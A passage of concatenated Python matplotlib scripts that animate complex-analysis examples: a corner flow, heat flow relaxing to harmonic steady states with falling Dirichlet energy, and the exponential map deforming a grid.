                     r"at $\theta=\pi/2$: $W=-iz^{2}$, $\phi=2xy$ (Example 15.13)")
    else:
        title.set_text(r"The corner of Example 15.13: $W=-iz^{2}$, $\phi=2xy$")
        sub.set_text(r"walls $x=0$, $y=0$ at temperature $0$; isotherms $2xy=c$." + "\n" +
                     r"Heat flows along $x^{2}-y^{2}=c$ and enters the walls at right angles")
    if ph == "M":
        for z in Z1:
            live.extend(ax.plot(z.real, z.imag, color=FL, lw=1.8, alpha=max(0, 1 - th / 0.35)))
        for a in V1 + L1:
            a.set_text("")
        GT.set_data([], []); GS.set_data([], []); TR.set_data([], []); MK.set_data([], [])
        return
    L1[0].set_text("ringed particle:")
    ZZ = Z1 if part == 0 else Z2
    P = np.concatenate([np.r_[z[:i + 1], np.nan] for z in ZZ]); TR.set_data(P.real, P.imag)
    E = np.array([z[i] for z in ZZ]); live.append(ax.scatter(E.real, E.imag, s=30, color=FL, edgecolor="k", lw=0.5, zorder=6))
    last = None; Q = [np.nan]
    for n, j, p, d, a in MARK[part]:
        if j < i:
            e = 0.075; Q += [p - e * d, p - e * d + 1j * e * d, p + 1j * e * d, np.nan]; last = a
    Q = np.array(Q); MK.set_data(Q.real, Q.imag)
    z = ZZ[0][:i + 1]; t = TT[:i + 1]
    live.append(ax.scatter([z[-1].real], [z[-1].imag], s=120, facecolor="none", edgecolor="k", lw=1.6, zorder=7))
    GT.set_data(t, PHI[part](z)); GS.set_data(t, 2 * abs(z))
    V1[0].set_text("t = %.2f,   z = %.3f + %.3fi,   temperature %.3f,   speed %.3f"
                   % (TT[i], z[-1].real, z[-1].imag, PHI[part](z[-1]) + 0.0, 2 * abs(z[-1]))); V1[1].set_text("" if last is None else "%.2f\u00b0" % last)
    L1[1].set_text("" if last is None else "angle between trace and isotherm, measured at the latest crossing:")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(90)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Heat flow to the steady state, version 1: the wedge of Example 33.8, as a temperature map.
The plate 0.2 < r < 1, 0 < Arg z < pi/4 has its lower edge held at 0 and its upper edge at 100 (and
the two arcs at the temperatures of the steady state, (400/pi) Arg z). It starts with a hot and a cold
spot. The heat equation phi_t = Lap(phi) is solved by finite differences until it no longer changes.
Left: the temperature and its isotherms, which end as the rays of Example 33.8. Right: the Dirichlet
energy E(t) = integral of |grad phi|^2, which only goes down and stops at its least possible value.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
N = 111
x = np.linspace(-0.02, 1.03, N)
y = np.linspace(-0.05, 0.78, int(N * 0.83 / 1.05))
h = x[1] - x[0]
X, Y = np.meshgrid(x, y)
R, TH = np.hypot(X, Y), np.arctan2(Y, X)
IN = (R > 0.2) & (R < 1) & (TH > 0) & (TH < np.pi / 4)          # the plate
STEADY = np.clip(400 / np.pi * TH, 0, 100)                        # Example 33.8: (400/pi) Arg z
spot = lambda x0, y0: np.exp(-((X - x0) ** 2 + (Y - y0) ** 2) / 0.006)
U = np.where(IN, 45 + 55 * spot(0.62, 0.12) - 45 * spot(0.5, 0.42), STEADY)


def energy(U):              # sum over grid edges touching the plate of (difference)^2 = integral of |grad|^2
    e = 0.0
    for ax in (0, 1):
        d = np.diff(U, axis=ax)
        m = np.logical_or(np.take(IN, range(IN.shape[ax] - 1), axis=ax), np.take(IN, range(1, IN.shape[ax]), axis=ax))
        e += np.sum(d[m] ** 2)
    return e


dt, T_END, NF = 0.2 * h * h, 0.12, 70
times = np.r_[0, np.geomspace(2e-4, T_END, NF - 1)]
frames, E, t = [], [], 0.0
for tk in times:
    while t < tk - 1e-15:
        L = (np.roll(U, 1, 0) + np.roll(U, -1, 0) + np.roll(U, 1, 1) + np.roll(U, -1, 1) - 4 * U) / h ** 2
        U = U + min(dt, tk - t) * L * IN
        t += min(dt, tk - t)
    frames.append(U.copy()); E.append(energy(U))
E = np.array(E)
V = frames[-1].copy()                      # run on to the grid's own steady state: its energy is the minimum
for _ in range(20000):
    V = V + dt * (np.roll(V, 1, 0) + np.roll(V, -1, 0) + np.roll(V, 1, 1) + np.roll(V, -1, 1) - 4 * V) / h ** 2 * IN
E_MIN = energy(V)
SCHED = list(range(NF)) + [NF - 1] * 20

fig = plt.figure(figsize=(10, 5.2))
ax = fig.add_axes([0.04, 0.1, 0.5, 0.74])
ex = fig.add_axes([0.66, 0.16, 0.31, 0.62])
ax.set_aspect("equal"); ax.set_xlim(x[0], x[-1]); ax.set_ylim(y[0], y[-1]); ax.axis("off")
th = np.linspace(0, np.pi / 4, 60)
outline = np.r_[0.2 * np.exp(1j * th), np.exp(1j * th[::-1]), 0.2 + 0j]
ax.plot(outline.real, outline.imag, color="0.3", lw=1)
ax.text(0.62, -0.035, "$\\varphi=0$", ha="center", fontsize=11, color="#3b4cc0")
ax.text(0.4, 0.46, "$\\varphi=100$", ha="center", rotation=45, fontsize=11, color="#b40426")
img = ax.imshow(np.ma.masked_where(~IN, frames[0]), origin="lower", extent=(x[0], x[-1], y[0], y[-1]),
                cmap="RdYlBu_r", vmin=0, vmax=100, interpolation="bilinear")
cb = fig.colorbar(img, ax=ax, fraction=0.035, pad=0.01); cb.ax.tick_params(labelsize=9)
iso = []
ex.set_xscale("log"); ex.set_xlim(2e-4, T_END * 1.05)
ex.set_yscale("log"); ex.set_ylim(0.8, 1.3 * E.max() / E_MIN)
ex.axhline(1, color="0.4", ls="--", lw=1)
ex.text(2.4e-4, 1.1, "the least possible energy", fontsize=9.5, color="0.3")
ex.set_xlabel("time $t$"); ex.set_title(r"$E(t)\,/\,E_{\min}$,   $E=\iint|\nabla\varphi|^2\,dx\,dy$", fontsize=12)
ex.tick_params(labelsize=9)
curve, = ex.plot([], [], color="k", lw=1.8)
dot, = ex.plot([], [], "o", color="k", ms=5)
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13)
fig.text(0.5, 0.895, "the heat equation runs downhill in energy and stops at the harmonic function "
         "$\\varphi=\\frac{400}{\\pi}\\,\\mathrm{Arg}\\,z$", ha="center", fontsize=11, color="0.35")


def frame(k):
    k = SCHED[k % len(SCHED)]
    img.set_data(np.ma.masked_where(~IN, frames[k]))
    while iso:
        iso.pop().remove()
    iso.append(ax.contour(X, Y, np.ma.masked_where(~IN, frames[k]), levels=np.arange(10, 100, 10),
                          colors="k", linewidths=0.6, alpha=0.6))
    tt = times[1:k + 1]
    curve.set_data(tt, E[1:k + 1] / E_MIN)
    dot.set_data([times[max(k, 1)]], [E[max(k, 1)] / E_MIN])
    title.set_text(r"heat flow $\varphi_t=\nabla^2\varphi$ in the wedge,  $t=%.4f$" % times[k])


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=90)
else:                       # plain Python: the poster is the steady state
    plt.rcParams["pdf.fonttype"] = 42
    frame(NF - 1)
    fig.savefig("heat1_wedge_poster.pdf")
    err = np.abs(frames[-1] - STEADY)[IN].max()
    print("final: max |phi - 400/pi Arg z| = %.2f;  E(final)/E_min = %.4f" % (err, E[-1] / E_MIN))



"""Heat flow to the steady state, version 3: the temperature as a rubber sheet, and its competitors.
The temperature phi on the square [0,1]^2 is drawn as a height. The edges are held at a wavy boundary
temperature g (the wire frame); the inside starts bumpy. Part 1: the heat equation lets the sheet
settle; the energy E = integral of |grad phi|^2 falls to its minimum. Part 2 (Dirichlet's principle):
other sheets on the same frame, phi + eps*b with a bump b that vanishes on the edges, all cost more:
E(phi + eps b) = E(phi) + eps^2 E(b), a parabola with its minimum at the harmonic phi.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
N = 41
x = np.linspace(0, 1, N)
h = x[1] - x[0]
X, Y = np.meshgrid(x, x)
IN = np.zeros_like(X, dtype=bool); IN[1:-1, 1:-1] = True
G = 50 + 40 * np.sin(2 * np.pi * X) * np.cos(np.pi * Y) + 10 * np.cos(3 * np.pi * Y)   # the wire frame
U = np.where(IN, 50 + 30 * np.sin(3 * np.pi * X) * np.sin(2 * np.pi * Y) + 20 * np.cos(5 * np.pi * X * Y), G)
BUMP = 100 * np.sin(np.pi * X) * np.sin(np.pi * Y)                                      # zero on the edges


def energy(U):
    return np.sum(np.diff(U, axis=0) ** 2) + np.sum(np.diff(U, axis=1) ** 2)


step = lambda U, d: U + d * (np.roll(U, 1, 0) + np.roll(U, -1, 0) + np.roll(U, 1, 1) + np.roll(U, -1, 1) - 4 * U) / h ** 2 * IN
dt, T_END, N1 = 0.2 * h * h, 0.2, 44
times = np.r_[0, np.geomspace(4e-4, T_END, N1 - 1)]
frames, E, t = [], [], 0.0
for tk in times:
    while t < tk - 1e-15:
        d = min(dt, tk - t); U = step(U, d); t += d
    frames.append(U.copy()); E.append(energy(U))
V = U.copy()
for _ in range(20000):                                  # the grid's own steady state: the minimum
    V = step(V, dt)
E_MIN = energy(V)
EPS = 0.35 * np.sin(np.linspace(0, 2 * np.pi, 36, endpoint=False))   # part 2: sheets phi + eps b
SCHED = [("heat", k) for k in range(N1)] + [("heat", N1 - 1)] * 8 + [("rival", j) for j in range(len(EPS))] \
        + [("heat", N1 - 1)] * 6

fig = plt.figure(figsize=(10, 5.4))
ax = fig.add_axes([0.0, 0.02, 0.56, 0.84], projection="3d")
e1 = fig.add_axes([0.64, 0.56, 0.33, 0.28])
e2 = fig.add_axes([0.64, 0.1, 0.33, 0.28])
ax.set_zlim(0, 100); ax.set_xlim(0, 1); ax.set_ylim(0, 1)
ax.set_xlabel("$x$", labelpad=-8); ax.set_ylabel("$y$", labelpad=-8); ax.set_zlabel(r"$\varphi$", labelpad=-8)
ax.tick_params(labelsize=8, pad=0)
ax.view_init(elev=28, azim=-60)
for edge in (np.s_[0, :], np.s_[-1, :], np.s_[:, 0], np.s_[:, -1]):     # the wire frame
    ax.plot(X[edge], Y[edge], G[edge], color="k", lw=2.2)
surf = []
e1.set_xscale("log"); e1.set_yscale("log"); e1.set_xlim(4e-4, T_END * 1.05)
e1.set_ylim(0.8, 1.3 * max(E[1:]) / E_MIN); e1.axhline(1, color="0.5", ls="--", lw=1)
e1.set_title(r"part 1: heat flow,  $E(t)/E_{\min}$", fontsize=11); e1.tick_params(labelsize=8)
c1, = e1.plot([], [], color="k", lw=1.6)
ee = np.linspace(-0.4, 0.4, 101)
E_B = energy(BUMP * IN)
e2.plot(ee, 1 + ee ** 2 * E_B / E_MIN, color="0.6", lw=1.2)
e2.set_xlim(-0.4, 0.4); e2.set_ylim(0.9, 1 + 0.16 * E_B / E_MIN * 1.1)
e2.set_title(r"part 2: rivals $\varphi+\varepsilon b$,  $E/E_{\min}$", fontsize=11); e2.tick_params(labelsize=8)
e2.set_xlabel(r"$\varepsilon$", labelpad=0)
e2.annotate("the harmonic $\\varphi$", xy=(0, 1), xytext=(0.07, 1 + 0.03 * E_B / E_MIN), fontsize=9,
            arrowprops=dict(arrowstyle="->", lw=0.8))
d2, = e2.plot([], [], "o", color="k", ms=6)
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=10.5, color="0.35")


def frame(k):
    kind, j = SCHED[k % len(SCHED)]
    while surf:
        surf.pop().remove()
    if kind == "heat":
        F = frames[j]
        c1.set_data(times[1:j + 1], np.array(E[1:j + 1]) / E_MIN); d2.set_data([], [])
        title.set_text(r"part 1: the sheet settles under heat flow,  $t=%.4f$" % times[j])
        sub.set_text("the temperature as a height over the square; the edges are held on the black wire frame")
    else:
        eps = EPS[j]
        F = V + eps * BUMP * IN
        c1.set_data(times[1:], np.array(E[1:]) / E_MIN)
        d2.set_data([eps], [energy(F) / E_MIN])
        title.set_text(r"part 2: other sheets on the same frame,  $\varphi+\varepsilon b$,  $\varepsilon=%+.2f$" % eps)
        sub.set_text("every other temperature with the same edge values has more energy (Dirichlet's principle)")
    surf.append(ax.plot_surface(X, Y, F, cmap="RdYlBu_r", vmin=0, vmax=100, rstride=1, cstride=1,
                                linewidth=0.1, edgecolor=(0, 0, 0, 0.15), antialiased=True))


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=110)
else:                       # plain Python: the poster is the steady state
    plt.rcParams["pdf.fonttype"] = 42
    frame(N1 - 1)
    fig.savefig("heat3_sheet_poster.pdf")
    print("E(end of part 1)/E_min = %.4f;  cross term (should be ~0): %.2e" % (
        E[-1] / E_MIN, (energy(V + BUMP * IN) - E_MIN - E_B) / E_B))



"""The exponential $e^z$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 16.3 and figure, p. 84 (ch16-exp-log.tex:75, 125); Theorem 16.2, p. 83 (ch16:21)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (np.exp(z))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $e^z$'
TITLE = '$w=(1-s)\\,z+s\\,e^{z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5, 1, -3.141592653589793, 3.141592653589793, 6, 9)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The exponential $e^z$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 16.3 and figure, p. 84 (ch16-exp-log.tex:75, 125); Theorem 16.2, p. 83 (ch16:21)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (np.exp(s*z)-1)/s + s
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'vertical segments curl into circles $|w|=e^a$,\nhorizontal lines into rays $\\arg w=b$'
TITLE = '$w=\\frac{e^{sz}-1}{s}+s,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5, 1, -3.141592653589793, 3.141592653589793, 6, 9)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The exponential $e^z$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 16.3 and figure, p. 84 (ch16-exp-log.tex:75, 125); Theorem 16.2, p. 83 (ch16:21)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (np.exp(s*z)-1)/s + s
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the fundamental strip wraps onto the plane minus $0$; rectangles become annular sectors'
